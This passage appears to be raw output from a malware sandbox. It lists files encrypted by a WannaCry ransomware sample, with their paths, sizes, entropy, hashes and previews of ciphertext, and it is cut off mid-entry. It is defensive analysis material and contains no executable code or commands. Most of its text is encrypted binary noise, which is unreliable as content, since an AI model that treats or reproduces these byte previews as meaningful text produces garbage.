                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):358056
                                    Entropy (8bit):7.999507915991677
                                    Encrypted:true
                                    SSDEEP:6144:zelcRpYJpGSifc8OBIgOvvsrW3RTG/1b2/ag00Dz2oMmZJqaRY8:ze2Xh0n6ErWubXg7z27e0au8
                                    MD5:E329919EB20055B6AF910277812BDF7E
                                    SHA1:66CD7E356F333382040AA9623FE8B6CDDCF95C47
                                    SHA-256:917DA3037D91E57E42EB125E7573D6AFEB64BAC385B338BF1A94EA54BE8B77CE
                                    SHA-512:CCBAEF8E1150381D366A1E55DAFAE00B8CB260A3EB069769D4175ABFF6B324738328A1AD11533AA1F3C0B78829CEA93B7AC0E2CB923DA886BEAA934533E105BC
                                    Malicious:true
                                    Preview:WANACRY!.....}F}9...2.e....Q.f_W.7X|n..(...Y.....;.7._..+N...v...T..$.7 .]......Y..]......Z..y.0.#......G.j.:I..Z;.._nzwR.....).:..@%.....>V...|.B........K1O7...?.R.."hH.m....(..ag....g...h.....=...{.c.?.../.r.....n3....Y>...(yU..{=.wop.L.N.....Q..A.0Ti.......u...........m.>Y R..q..$.......G.n7{...@..8.&8....ie;{......m.1.k~H.9........&?.(...Jt.37A..7)W.....C..@DL...........^..vh.?..]..V.ii...5..^Z.9.?:..:.L4.).rt..V..r...............=i..VP..42.............D...=.<_G.:?.p...I....g(..V.e..K P=.7.DF..M..O...=e.......Eg...BP.>.b..{T.*w.g...z....z....e........:.../84a3....|...7. ....B...Z..!...='..(...g.....Je.T2..g?.....w...u.9zC_.T.\...MU.2....^...i]P.......(u. ....o..F!.o..D.iy't...N..3..\.........e`..]V.$`.....t..!..|/P.k.h)...,..."..........._o.o..L.....F.6......![...2c.......Y...|.S.%...Q+sF.8N...p.}2.#.*-.6ec.....@...)....g.?e.....OJ.....s...>.Ts..{V,.....WQ0sqP....../...kb.)kf.L...J..=Y_#.B.0,...9..][...|.oI[.;=.8.....g0.X..U.....q.2l

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\automation.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):4552
                                    Entropy (8bit):7.952693685516239
                                    Encrypted:false
                                    SSDEEP:96:ovEWEzZTDabnqtZsHd/6IFMUTG3R48l9d3eNAyXlO4wLANdKVL1NaMKDaHj:qgqeI/Lxuz9d3eNAyti1N1Kaj
                                    MD5:531596BA6998B717804851F56FEAFD02
                                    SHA1:1C051F812B4ECC6C91D438A08B25D28AF8714526
                                    SHA-256:46BFDA7F6D7B9E03B19D4A65FC407E56865C1CB992CEB1556ABF43129306F185
                                    SHA-512:346FB38F690E460FA288987A9953214264C14D47356769591F9CA1A5EFE22C3743B4E84E13E9DB52DCE59DB8BFC63B6F7AF4F19025C1B30106A340CBD95829A6
                                    Malicious:false
                                    Preview:WANACRY!....`yFW.].f..A.$Iy..\ ...nj.dR.4X.`^..x..O.T.....6L.F.r..&.ZU....V..K.&O..(....<c...=..+......q.$^~....5..(.b.....OZ.N.n.E/.8..F.....Gm..... ...*a;.X..c..U.3... ...B..?.lS.e....j.N.6.'...nH....i...C3...w..].....@..3.I.....Pqo.%0....z.....q...............,T.......V...G....Q-.D......6..8W....%...!..+.y............Xm..P,.T....7:.cdh...Z./B.._.B. \.......owq....P..M.....<.>.(.....[.6..6..b.2(.v.....?........-...T....b..hj.0.3.y+R......J....G.<.&...r....E.T...........>..<....U...:P..k..\...K..2.o...*.(pr..........aN.D..%:s....,....'..>..q.^x.....W;F~.y.6I.W._..`q[....o...s...t..F^.|...V.C9.[}.8.....1C...zM..F....;......s....X.....{..T...gp..T..e.UZ...<qc.PS..Q..*^.L.8.*...9...1....#..4.+.EOL....Lk....B.F....f8p...........W.c3e.u.....d&.e..m.)j.M.%e........"Nl...1BT.......].W...;%._.K. ._.q.....k..6A.............h...ek.y>..0+..4.K..Jp.s@.,VA.Q..o.E...@..DT..*Z.Q..f..s*h..W&..+.+..]...3wv..&.y.....?%.\:..SE=....KQ@ .w...W.U.;u.:=.4B...q

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\extraction.js.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):5608
                                    Entropy (8bit):7.970954752382023
                                    Encrypted:false
                                    SSDEEP:96:oLKqxzEPkZ2iRxhPXHATOsWIgxFAsBPSOy7iEst9iR28cZ4DHk3x1jmpwo3iFBWw:2KMEP02IxhPXHokAstSOyYyRm4LkBBmO
                                    MD5:6BF55A8FF76E81BF40635FF3859A9B07
                                    SHA1:E45D0DBB924C38271821DC781E0233CEF90142B2
                                    SHA-256:943B0EC3DC66FC037164277C2F7A1F6DA491E3022CD4AC809AABA1CED0844DBD
                                    SHA-512:1F41B5FEF43F48FBF53302B3BB902565FE8F2B41BF94EBCB1E350F02821610A4AA7478C580D8A7ABEE3CF79E20A3D611D6F7A9B2327E5AE0947B3CE42C9C5751
                                    Malicious:false
                                    Preview:WANACRY!....|...1e.l....r...eg...o>..[FM6..P...[....i<[K....}.....^[t...........zS../<e.p.K..S:.$O,,..j....8...4.I...IT...O.....K.IVm....m....p^`...Fp.E..K..Qg:...Ct7.....#w'K_K.JR.>.,..Z.B. ...).l.Q......p!.5....&.).......0.8.\...;.}s];.a.)5....Jof.$..+..............]..6._.......2...o..~\.........f.......*.R..."....`#.z_.....5...|~..9...3Y<%h0....I.9..2.QE....../...n..*.I....%...i.. ...........E..yg`..P.tk...-....,'s.;.N.c.)pJ...kB....kc.1.<e.....D.C.7.xI..hB.S(.2'5.?..v.3&...t.M.z\..1Q..........9..lX.'\.,..{..b...koc.3.".}`[.,>iJ.c._...E!..)..'H.]D.^...mE.?....XXT.-6...n>......./..'.k..rci+..........e@.o...Nb*....$.c....v...^.Y...mo....t.T..Nb.s.b..:..@...(.n..^i...............Bq....>"<..U.zV.$.nu7w.b....R...w.7........(=.....<........... \...%A.....,....k.m....(.c{4.{.#../..$.O.1..NZ...\...a.>...w...k...>.......s@........s....../~;.B.C...[.z...yn.O<.!;C.....G...u..V.C.. {...}..@#.rx,5..Z.x3~$..P...F........p.B.....k.hNCk.T..N..R...

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.LICENSE.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1608
                                    Entropy (8bit):7.879443756895058
                                    Encrypted:false
                                    SSDEEP:24:bk83d1tuytwCjEUCtIDuWM/mRjRM6XxB6BDrdGuKcvxYJjGII/w6g6LW9nHPtKp:bkGC/DgQ/mRN7B6B+k0pcWKp
                                    MD5:95E0BA20D8E8622EF7C3060A2FA2285B
                                    SHA1:71A28A015BDEE0F6D57CA9A53F4F194721450F2A
                                    SHA-256:7A7505E15F5E6DEF67EF3547A299A2AB9908960FF78ACA112B50E19D899B5E8E
                                    SHA-512:5C9904F54039A10073C06E8FBB3722CD5B690242055971BE26F3ADE3D9C5CE9075C9DF38060D4B5BDD929D2472F71F3B1042DDC8392D730D5757D042AE4F4710
                                    Malicious:false
                                    Preview:WANACRY!....a..ZV..Kt..~P.....X.....].=..M..Y.G.......{\W..t..c...H.1...l..&..T......|.G..N...]......D.>....O......,i.I..\.c..#...E...'P.....?.~:.LN..:..2..y...*.fv..^...v....2.A[>.P5......L.....'N..J..L...1...4....R.. w...H.o2k.B[1...E......).qY[h..0.. ......%........,.~.ud...5Q..O..F..q_..mXv..!...Y...@...SS!}H.4.pc.....h.:OT.1N&.......a...;.r.~.w.....(Ev..S.*...F.....)..X<]..m.|~.g.@.:.o......i.T.(..G5|]..I.sI..u.......1..N..;.5.T2>.......C......Vy\.u.......E.......L"..q...V.M...E.....zl}.'_:....MC.H...t.9@..T...[Z.....+.da.0e..dm...*@...B9F......[..XU..I4..t.H...l.k.....W}.....GR........r.^....].8....4.w.X.W.....Wu.~...l[......?Yn...F.L.~U....u0.n...a.^.P..}..n\..p.....#....^.c.-Q.....18..P.<..,....g8...I......._.[.....h.A/B.*..s...rP..y...X....48..6!.[.s.....mV..JR.#....y.....n....]Ez..d....[.......(p..BT.!..5.q3Lp.u..75..:.50..W..En.Yk...Q..2{...2...x.n......U....KQ.{.#:fM.-...i.Du.W.].;..YvD.E......;........Z.\e.M. ..n.x.B.".m

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.LICENSE.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1608
                                    Entropy (8bit):7.884195149651478
                                    Encrypted:false
                                    SSDEEP:24:bkUvMiUc85BRotMUcS3VLLEa83Ax4Oxe8SuASQbbShXyy4xSoaQoQrJwxkj9bv2M:bkUNUV5B6LB2AxPQPShi2o9lJ9bgY
                                    MD5:0C58A8AE3C2BF8B05FD4AE0F186DCF5A
                                    SHA1:B82BD328E53A10E633B98B5D373D0A9BABD8D40A
                                    SHA-256:522FA8E60DB5630623767A7422AD2AF1A2719A47C64BDE53C5A087EB3FCD36A0
                                    SHA-512:A60B14AC89CE8376AA04D54D96854DBDBC856D0440C9E8BD2469F2FACFBB2B1D63B60BBE1D9F7A210DD930E333C77FCAE1D87AF46A3A9CE3F675B9247E695EA8
                                    Malicious:false
                                    Preview:WANACRY!....,8Y...a...2?.C........7.).+...eW.`$..pzsg*......&.i5Y.K.k....K".z..e>..v.!/......Q....2.[r.:..}_....p.....,.......Im......6.V..C.y.B.....m>.r.".aV.(....5..).G.......^K....t...mH..AICn,.%...zM.b.n.RO.;..N.U.K....w..sZ.6*.S.0...5.".1.}..Q.x.gx....%.........c...U.B..xN.Baa...').....+..MW......p6...vs.q.+..Z'..}NL..'..$v7.....3.]O..\TM....%XX.L....j...Y...i.l...iY.p.|c.b..f...T..g..EF.L...n..=..uQ.y1)..+C.9..P..T[....Zvx.....).......#.....t..Y..1A..3.(.j/..A93../.sr'ZX8......rI.M.8.......P.`.Z...QI.k^z.n..4HN...jc.m.a.w.Q:@s.K./x.&..Pf.<..2A...<]t....6.F.$../....'....s...&Kk..X....U....m.Kf^......`.8.?..gP.O.x=....j...D.;.J@...<...n.-..p.....}..T...C...V)~..A..Q.C...$..O}. 6"....$dbH....a...=.....8.#... ...apH........D..<H.$..w,.~.}.......D."~ .A.:...}86...$.....1\o.1..a!#U..X/A........._m8.*d].<..m8Z....M..@....*..O...5<&e.:.......$H..:.qn...@A.]-.1wpj?..f.s.\.b..u.b....*...u...u.Uw89B.Oy.l#.G~d.G....HSoPR..zy[{.......

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2088
                                    Entropy (8bit):7.899683540934684
                                    Encrypted:false
                                    SSDEEP:48:bkxG/P7FldHALIDqNI5YG3ULZtWQHCtS6BVKdfPO6Qa1Jh7:oxyjHdgLcqNI5YG3ULL/CkggdXqa1j
                                    MD5:AB1F5F710D6E50F0CC05585810931ACC
                                    SHA1:B5465F8E99AAE0286B205E1C3C149476E42412D9
                                    SHA-256:8875DFAB59F8AD664D31E2B9FF04D44E4DC321BC3D5111B854F73CD9D0021577
                                    SHA-512:D8377C3C253BC1FD78274D04B10A6494196E208A286EC9F5FB9F822BECA844375F9EF79F69FAB4640E4DF44C14641ED867AA7A8D170E4911F0E8C66A99D9D94C
                                    Malicious:false
                                    Preview:WANACRY!....,.IH.Z?_.b\....=..o.....].]......YU.=.....T.~...p.'..{...,o.#Z.SP..k.*K4..hz....9\.sh........^p.?.....7.<..&...iL........E....~./.rU.i1..L......:..'.=..Cz.....j....'......I..m4F^.5....i`..m.:...........Ybk. ."R.h..O..1........Q..S"/R.q....J..`.................(;..[f..Ax?(;S:..,...l.......B.._.=4..}p})..I...J..R"...V...<a..!......Z.clF...{.......R.ms..n..[.t{Z.......L...C..C@(<.W`.G%.@.5...S4.{.:...&A.@..J..+..M.jLg3C.....a..3.49#..&..v.c.}..3....S.,.h.D.|.uz..}.K32.2.P.pbw.$...D...=.v.7.?.?,&HC_..eX9|......5.....C..rXj....Y.*`+.%..=.]4B-.D..M"@.i....O.......&.b"...r....F.E..._...g99.(%L=............].......8....qm8...]L........|....-.C...x..11.[RK._....P.G...... ..t.Q.`.......9.g?3|.q&..]".]Il.l-..)..6..V~.u]..A?.^..S.#n..W.....B.)Ll.s.y.....6...rB...d..!..).z.N9..c'.56K..Q.....=.N(...)-......W$....d{..6 .8...n..T..'g........bX.hA.....5...63......1h..g7...0...+.u..5W..J.2..5..u.:&.5$<...".kK.-._......j.b...*rg.R*#..W...[.K..._Q.~..

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.LICENSE.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2040
                                    Entropy (8bit):7.906687038034684
                                    Encrypted:false
                                    SSDEEP:48:bk8Ym14GyKLt6gxxr96XjrvY6MWSke2wiJX5e+w2/5iXU:oS4qLtff0gvdb2xL/
                                    MD5:DC8793C3096BE825EFCA3A4084C18B82
                                    SHA1:60869A5B7D9E405538E8442791DA586BD28B0F42
                                    SHA-256:A6DDF0AD3327DB1D9A0FB89784F0CE217CFA8302DE930C001020C24D866D4ACB
                                    SHA-512:7777A015165AB420452FA04EB390581AB059BA0072D2636D6FE37868010C47B009F56C59FB9F8B95E6DE74D3E499AC9E4D5C04EFF772FAB5510686C40EA6200E
                                    Malicious:false
                                    Preview:WANACRY!....a....}8.}.n.5...)#.P...{..}Lel..._...?0..^....7.E.z.H..KM..X..E`x...._A...R....<A....E...J.t.y.}2.a..p..u.E.?D....Z...z.5R.M3.<s....V..8P.>7...k..$..f..Xi.kI%77..i..<........2.8.@.....65.0-..so......u6v`.z.X.!!S..E)..._ .....6.z.-......%$...".^/(5e..................`.....~.zK..F.2.m.M...ABy..N.Z..YD..jt..}c..I[WI7....+(=k.......V.Y...O|..T..;3..b..Io....e. .!..Rk.n...|f.D..qu.Y...TY.'i.j...|..pj=u|d.....,..k....w/..<Z.....(....+8.u............b..!.......L.I Jid`f"5.....c.....e.V....)m$..lW..S...3.^2..?.&6..0.......Q..?5..{;.4.2@%......oP^...........'.4.$.F.].....L.e.......I..........Tg.....~X..8:....&..B.l..w.._.F.A.q'S.[]./s.v........`A...i....p_..F...../.)..K....]...`..9.[..k...C..".../......(RU...d|.a7...bEz....:..A....%...6.}..D...).."h.!.....cyDW1:6......$....8,....C.W{...9.{....2....~...z......q....(....3j!....?......$a..|A1.......T5N...I..)pc.J.{..Y.X..5.....@G.......D..>./`.kw}TD.,y..e..T..k~....Y......r..[...=S.B.:..[.Qq...lzF

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\driver-signature.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):14632
                                    Entropy (8bit):7.987746830850883
                                    Encrypted:false
                                    SSDEEP:192:lJhoGIMNVsGtzycy1vuGjsSlQz5GLATLWpT6JrHtx34Ah6XZM0zEUgTniTCJb35:loQNntzxy1v7YEclRtJU3mniTCV5
                                    MD5:314CC8549D96D7405EE86787391E945F
                                    SHA1:D0B49DC6D5912B7EAFC75300264ABC148ACE2AD7
                                    SHA-256:CD7C2B6F5F7F1C3889B58D9F17C59CE3FEA7F7D17A34192FBA336F90819B358B
                                    SHA-512:0D7A162C2D6C7FF21A057CC519BF6C3BCF9455572432F70FF5D6325EC8FE6027E4FCBB811E6393BC4157960502A506FDFF63826A289D7ADD1C202CF2EE084C9B
                                    Malicious:false
                                    Preview:WANACRY!......|C.....RfK...\.L...Q..fe..2c;.m....#..>./...fveD.[G...r...J..E..i|}.:.@.O.....p.&...fh...5'..7`....T..z*.B$...V...`....9.Zm.L....+..Y.D.....V.O.Bv..UN.i....'............@.k2..Xu.8.f....X....f...,q..G/....'.O...(.6..t...d).......J.,r....)....S......8......;.iO.V]Z........}_Nf. ..?..L.%.<..s......C,.._....{z$.K..h)....ms.:....%d.c..Py...A{)6q3......Io......9...x.....8c=v.H..*.?;......G..X.u6..~.R..5....|....2.?...-.?A<M .e+...$s[.$..Q]<.#.......I\\...3...o(.vh..T.H2..}...Bht.J...R].....:q..:K.!....Y.t..Lz..W".$.s.e..m.....L3.y..o..T6.uK..2.Mw....?..L.....#.b.q.Vo......X!%_..p..(..9UI..C...D..9.X;.HR..+HIZ/.^.....#.Z.k...:.6.%.[u\...s......fVv..R+)..........wa....Xze.RAA.R.Y.$.G.....*.......S.V.}.N.T.....#vt.dg.|>.2..=...m...._B1.lD%.X.t.&.....M.9x..rN...c....,.-g.&L.i7P.R.....o.4...v.&h..L.S...H...Z.z6..Hh].....w..0..'.....b...@.whm..z....n7...Wk.q...I.}..<u..w-P.3IHR....8......G...*6Z..V....t.2!..Br`O B..._~I2....C.h.c...0...[.

                                    C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.LICENSE.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):2920
                                    Entropy (8bit):7.931246503807352
                                    Encrypted:false
                                    SSDEEP:48:bka1c/bSOafLEK6+jK4BgOw39cdzAtX6nivVX0+5qkJlExFpis6cDp:oGc/bSOgYD+5q3WAtXvF/5h+D6Y
                                    MD5:CFC639F1731D4BBFEE89CA86BB736B9B
                                    SHA1:29D9A15C28C3C73D6BAB44B79A814B1387B9CB1F
                                    SHA-256:239ED07F33BFE0D6757D3E9DBFA36C6BE508780504E8F88D2F5AD234C4DBB8CB
                                    SHA-512:77D7380A2E5624B698ACA9F42AE16582A6502324C5BC95C4040DCF858C6E30B2FABE95D3D9BB31495EFE978E784D51B097EF5BDE0BD64586B5FC41D226DBE4D5
                                    Malicious:false
                                    Preview:WANACRY!.....j.Q5A...r-q...h.,.!A...v{y..FJ.f....f.%...N..u...,.^.6..owQ.6...t~n!/y.G.Sw...w$.....m.9Qj.4`..].zl.A.6.Q........z.l...k.wT.."...D....9z._".J(..|avm..e.\'....q...5.......D.8...UHwJJ).Cv.&;q..(.."Q...~Q.I...Bybmq?."Y...~.?oX..QI...!Y......~h....F........F.jX.=.M...4.6)I.}....b,p...@.......+Z+w../GG.....'.0tN....|.;VL....pi....w..6..4...9.4\jt...!..'.....N7.+k$..B(.+).5<.|N...........d..2.!.=....hY........p4Jaur)N..%.S.0.{U..A)l.u.w.... .v...kK)%....M.....1....FT...j(.6.......;[....D..PI.e/.#.w=0j.C.&{.$...$5..?...3^9.0n4...P,x..'.P<.....k.tGg..$.p...i.!m.(.}@..l$I7........(..J...ZL=...0..f.\.91...[....R..".b.^%.I.sO}.....LK.s....dY..O(..;,.|H.....$...K4g.=P.^.Z......{.7..%.p/R.0$.u..I.l.{.XJB....QP..hlkN.\]3}{.....t.0.c ..W..D?....;5..-..:6Qy.HT6.U8.~.c....!^...CQ...Y......-.c.I.......(..]..].l....;.g?._.9.....\m.....7x.....m.~n~...;7.Q......R.T....5=\W....E..<}H.........[.DsL.oe....G..LF\...I..>V..&.g...`.

                                    C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):6856
                                    Entropy (8bit):7.971749780676008
                                    Encrypted:false
                                    SSDEEP:192:8Kz6fuOv3gFZ3/ZSSZMEQhbEz9PACjWFumwBDF1YOo8lWd0:V6lvQjP2EA3CCcm8F1YOoQWd0
                                    MD5:AE1EFA6BC43BCF239B2DCE0E1B6F2CFF
                                    SHA1:A5E1206DB3EBE9E402915D03E39BFB3D458C7C09
                                    SHA-256:83F29FEDECD43433FA36F206447EFADEDA438673231E5A702676237DCA98C5EF
                                    SHA-512:8441C7B02BCDF08625C085E763C5658C4C1E8ED5CDB8B82E5072B8D04223184402BC7590A0AD4F9930F34552DEC67E0B733054825BCF45AAF863827A0B5547F7
                                    Malicious:false
                                    Preview:WANACRY!......v.L..6].E/...4...........0..@........].@^.?>v.}e..m...h....8<K...(7.k..~W..+=...x...T..X+....n.J.E..n.....(......1.*...xqEF.9#6F...v...d9Sp.<...vqWv.+E..At*..#.g...,..D?....nf...L....3._..L. O..8.W.U&.......s..m..M.e...f(..C.6...U.....FQ.#.0................`...O.....S.'z..W...f..t...+.M.O-........t@..L ...L.c.6e..e.T.....N....O.b.a.*Q..5 ..k.o.._= 0[C:...]...y.U.rg............/......]...N.C..P.5..;...JJ;.r..>.=b_......fNE.q.V.R$p.i.p..`.!...Dp..8N[....v..E.Vp.....(.68..K.^...b.,a....D..K.>,h.Go{.<.;R...B..+.S..P...2......4.......(Wx..B..:3.N.C.=z.W4P]..r...e*)..M[..?S...RV.$..pv...G......|.P.5.Ay...X......~...wM.....c.}...)<..Kjq..2.-..n....Q{..9......E..............l....`.....Cy.........5...1..UXzfd?I._..F/D7.,.o.%Y.>...P7..I..s.#+.Y.^G...$.7z...3......d....z..a....i?.s..........Z'..9...=......{....v0......-..v.#H..<.e,./(......|.~.....}W.......^.nK..N.`8.P7..|.q...$b3.w;d.b.+.....H..ko...H...i.qK...s...b.V*.)D.

                                    C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):24856
                                    Entropy (8bit):7.9921820809341995
                                    Encrypted:true
                                    SSDEEP:768:f9HXleQdDEXjLm1onKXzmCn6D4/x43C+/gr:fd1tD34Vo6D4/G3Cf
                                    MD5:354D7A08338B2CDF234AE0945F5DC73F
                                    SHA1:22432E6B63A6B63FAEE109306034EA7D739F8F5B
                                    SHA-256:5712A5FF23D10FB0C72E3FD50C964A23A7AE492BA42BDA82FBB6550EC4761C99
                                    SHA-512:00BF38C145A523A9CF1242BC0E7B1E45AECF89D3BD4263818529DC6CD66A172ED4D20D5103207BD6BD30C07A5BF9D792DDBC557815EA9D35A0FB3A5DC99CDD30
                                    Malicious:true
                                    Preview:WANACRY!.....CR....[...`..75@.So..b%0.[..`m.cj?..J..H...>.9,/....R.NQhc..X..u.IG..u.....B..].V.).ML...OY.F!h.+_....g}{.......s.5."..0m...Y....n.-w..'.!...E.......b.....Q5.uy}P,..q..x......D.fo.U0.!......z<......R..u..1-....K=.@...J...p@T.....Anr6F.tD.......`.........;...J..{L..S.J.B.uv..}.1g..9y...sp..;.yP....ZI..".i....q.$'.9/C.}L.4q:.W..H....Sq....5.1.+7.<.B...5.].Y....m.lS.d....D.V..}.$P....]...}@.<......1.............B]G.i...3..#......E.J...N.N.5..^..........C...9]......woh.fC].9.rj.6bN.=.IDJ...a{0a....{....@\.f.5.j......>.....Fxz5.w.,[..8.......{.,.|.)+.D*..[.J...fLU.?....w..)...:5...l..kZ......=j.zD&.I..d.U..l.p.`-....1.....o.k..XAtO"..U.{.n.!.o..PB..:.$...l.-....../....Nr.....[M(!{.*.J.I"..F.(2...p...Hocf...........LO.0u.Q..$...F.U.;H...*x[.Uq.o.,...~.....4...g.'.g@r.....!.d=l`..Cu54F.U...k...TA&.a....=w....Gz.^E..`..e...u..!...(]G{.dyo..)p"....W>QJ........Nj,._.)C6..:4/-\..B.r..BqF...R..K.......+.~.%Na.....|.Jh.#.p;...|v.....

                                    C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):24856
                                    Entropy (8bit):7.991475395429332
                                    Encrypted:true
                                    SSDEEP:768:Rl6bLS2Zx5eVjmrFcUeQTE/lkDtC7Ho43:Rl6bzx5eVmrFheQTE/iDtC7Hoi
                                    MD5:1E13134B9B1EA3DA99589E296A8AB618
                                    SHA1:0CF0A4B61F5342382227022199FA309CF4B48FD5
                                    SHA-256:B01DE3121886F08F9A98E84E270FACE68F2E7F50F9BDCC57196CF28B13364260
                                    SHA-512:D82ED380A8F1136A6C1EA676C2B3E1D8F4535C857B1053B32294718EE424A5785B04C6E91757CBBC9C0AC68412CB720598F72A78D60AC49BCAF510F5F6831BC1
                                    Malicious:true
                                    Preview:WANACRY!.....1.M..0<H.x.."..zx.q......3..0..Z.Y.v..g~L....R2.L..}...)b.b....{?......y..2H.H.\.l.G.(`.b..P.L..9B.]R....EY.....F..p......>./.....".x..T2?....^...c............we.....4.=..'...`.E.Kg.'\.......f.W&.....#.W`>.....B.>.u12(.<.....M.y.,.H.......Bt..z.....`......d.Uv+...O!_Q3)..Ym...,....@#..,......,...k..1%n.>.B0{....j.\o:.d..4;.B&..O^.......|.C... R5..t.I..I..61.]...}O....;<@...l..c.Y...|,VJ.n..I...$k..laO..v.D+..#M.L.g...Y.c(........D...U...3z..^..2..&^.!.j.M]@.C3f.....8.'...z.C...........a..L.4.U.....S:.}..w..R.....K...Nm....m..xArf.V..I .B...D..(..^...V.A.......C>...(o..&A.Y.........]......5).:wLij...0k.H...u...P.X.E#.t..Zu...y.......anY.%,.f....qp..]......T... Vs|[.A...eX...MMf<...O}.,.....o......T.P...G.F..^..V..,..o......[eg..P..xS}...}0.:.,N-.....$2.#Cp.^.U.._7.>.....P-."..|....Y...ha....a.j..#...I......Z.4(3.py.E...T;q...<..._.:...s..=...r.......|..L]...!.(....(G..D....#...G..M"d...C..D.,Vn..Tt>Q.........r...+%..k.}....

                                    C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):24856
                                    Entropy (8bit):7.992511007931822
                                    Encrypted:true
                                    SSDEEP:768:5X1EWGk2Dd4B49cu3d9us61yPoFxaQ/9PEDt:l2ZT4Ru3dYbyPoFgQ/yDt
                                    MD5:2A5CC6426E33507B96739D81332A9B0D
                                    SHA1:4EE662262FF6811445A0CC778527CF414F2579D1
                                    SHA-256:D2311B73F01B52E933BC250C538AB9E71654740E2700903A1ACE3C8B35B4EA3C
                                    SHA-512:6A4933646032B10AA07E08DBEA160FCEAFCD897DE7E1AAA5FF2C25DE388E21589419C87C974AA87E266DE38DDE921C70100F7415834FBB0F3444CD82A7977981
                                    Malicious:true
                                    Preview:WANACRY!.....0....'[.W............V.)..[.*........*W...*.>d..Y].........r.+.-.9%*,y._B..u.[v>..Vi....~....C..F...c.x.0...F.....+|D.]gV... ,_sx0..c@#....].MV.Z..A...EL.hR.....^3....z.d.s.}/..2"./+.........4.n .`.T*..C..F...z.@z....f.~....%n.^.UT....~..r,.......`..........^.w.?..h.z._N.x.8.....N.KBi.N.Vy9|@...PE.p....in0m....6..NN.>h..9.M.-:..!..,CXB@...R.\...........0.v..%.]....\Q.X..X....,^......#....d.M.4.gD........NF.>.NR......c.YH/s.H.!.." .(...u..O...P>.K.Z...6!(. 6L...Ga.`.~. .... .ki.....=..5q..52.....4R...n;RC...w..Y./..........U.....D.i4.E.N.b{.J.....*..r.&..<;Ikw...[r.eD.S.../.S...(&.0.!...#.....{.....[.[V......A!h.8.)....O.=K.j.`.?\.zDP.+....P.Q.n.$<..v@....q.g.%E...`.el.B.}m}0..R.!L..~Xr...U[!!.a!7=..)?.\..n!.5....Z.HZ@.C.2.x}(.(...i.../<J..l...#....R..p.%)Q..4.`a.n..........C... ..._....w.k..X._*..w..RY).e;........q8}.`.I-...=v...8i....0..../......Q...y?.Ol_w.....s..U6....^..ls.....\....#.......k......Iqn..[...KQ.(....[...

                                    C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):24856
                                    Entropy (8bit):7.992082433435746
                                    Encrypted:true
